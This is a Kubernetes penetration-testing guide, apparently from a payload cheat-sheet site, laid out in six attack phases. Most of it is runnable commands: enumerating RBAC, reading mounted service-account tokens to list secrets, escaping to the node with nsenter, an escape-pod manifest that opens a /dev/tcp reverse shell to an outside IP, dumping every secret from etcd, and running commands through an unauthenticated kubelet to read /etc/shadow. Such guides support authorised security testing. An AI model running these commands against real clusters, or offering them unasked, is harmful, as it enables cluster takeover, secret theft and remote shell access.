Kubernetes Security Testing: RBAC Abuse, Pod Escape, and etcd Exploitation
Kubernetes has become the standard container orchestration platform, and with that ubiquity comes a massive attack surface. From misconfigured RBAC to exposed kubelets, the path from a compromised pod to cluster admin — and often to the underlying cloud account — can be surprisingly short.
Attack Surface Overview
Key components to target during a K8s pentest:
- API Server (port 6443) — central control plane; all kubectl commands go here
- etcd (port 2379/2380) — stores all cluster state including secrets
- Kubelet (port 10250) — runs on every node; manages pods
- Dashboard (port 8001/8080) — often exposed with insufficient auth
- Service account tokens — mounted into every pod by default at
/var/run/secrets/kubernetes.io/serviceaccount/token
Phase 1: RBAC Enumeration
# What can the current service account do?
kubectl auth can-i --list
kubectl auth can-i --list --namespace kube-system
# Check specific permissions
kubectl auth can-i get secrets -n kube-system
kubectl auth can-i create pods --all-namespaces
# List all cluster role bindings (who has what cluster-level access)
kubectl get clusterrolebindings -o wide
kubectl describe clusterrolebinding cluster-admin
# List role bindings in all namespaces
kubectl get rolebindings --all-namespaces -o wide
# Find service accounts with broad permissions
kubectl get clusterrolebindings -o json | python3 -c "import json,sys; data=json.load(sys.stdin); [print(b['roleRef']['name'], b.get('subjects','')) for b in data['items']]"
# Check if any SA is bound to cluster-admin
kubectl get clusterrolebindings -o json | grep -A5 "cluster-admin" | grep "name"
Phase 2: Service Account Token Abuse
Every pod gets a service account token by default. Even a "low privilege" token can be used to enumerate the API server:
# From inside a pod — read the mounted token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc
# Use the token to call the API server
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/default/secrets
# List all secrets across namespaces
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/secrets
# Decode a secret value
echo "BASE64VALUE" | base64 -d
Phase 3: Privileged Pod Escape
If you can create a pod (or if a pod already runs privileged), you can escape to the host node:
# Check if you're in a privileged container
cat /proc/1/status | grep Cap
# CapEff: 0000003fffffffff = full capabilities = privileged
# Escape via nsenter (requires privileged + hostPID)
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Deploy a privileged escape pod (if you have create pod permissions)
# Save as escape.yaml and apply
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
hostPID: true
hostNetwork: true
containers:
- name: escape
image: ubuntu
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-c", "bash -i >&/dev/tcp/10.10.10.10/4444 0>&1"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
kubectl apply -f escape.yaml
Phase 4: etcd Direct Access
etcd stores all cluster secrets unencrypted (unless encryption at rest is configured — it usually isn't). If you can reach port 2379 on the control plane:
# Check etcd connectivity from a node
nc -zv 127.0.0.1 2379
# Using etcdctl — requires client certs (found on control plane in /etc/kubernetes/pki/)
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key get / --prefix --keys-only | head -50
# Dump all Kubernetes secrets from etcd
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/etcd/server.crt --key=/etc/kubernetes/pki/etcd/server.key get /registry/secrets --prefix -w json | python3 -c "import json,sys,base64; data=json.load(sys.stdin); [print(kv['key'], base64.b64decode(kv['value'])) for kv in data['kvs']]"
Phase 5: Kubelet API Exploitation
The kubelet listens on port 10250. Misconfigured kubelets allow unauthenticated requests:
# Check for anonymous access (returns pod list if vulnerable)
curl -sk https://NODE-IP:10250/pods | python3 -m json.tool | head -100
# Execute command in a running container via kubelet
curl -sk https://NODE-IP:10250/run/NAMESPACE/POD-NAME/CONTAINER-NAME -d "cmd=cat /etc/shadow"
# Port 10255 (read-only, no auth — informational only)
curl -sk http://NODE-IP:10255/pods | python3 -m json.tool
Phase 6: Namespace Breakout via hostNetwork
# A pod with hostNetwork=true shares the node's network namespace
# This allows scanning internal services not reachable from pod IPs
# Check if you're using host network
ip addr | grep -v "lo\|eth0" # if you see node IPs, you have hostNetwork
# From a hostNetwork pod, reach the control plane API server directly
curl -k https://CONTROL-PLANE-IP:6443/api/v1/namespaces
# Reach etcd directly
curl -k https://CONTROL-PLANE-IP:2379/v3/keys
Use the Cloud Infrastructure Attack Generator to build Kubernetes attack chains. For the underlying cloud environment, combine with AWS Penetration Testing techniques — EKS clusters inherit IAM roles via service accounts (IRSA). Container-level escapes are covered in depth in our Docker Container Escape guide.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides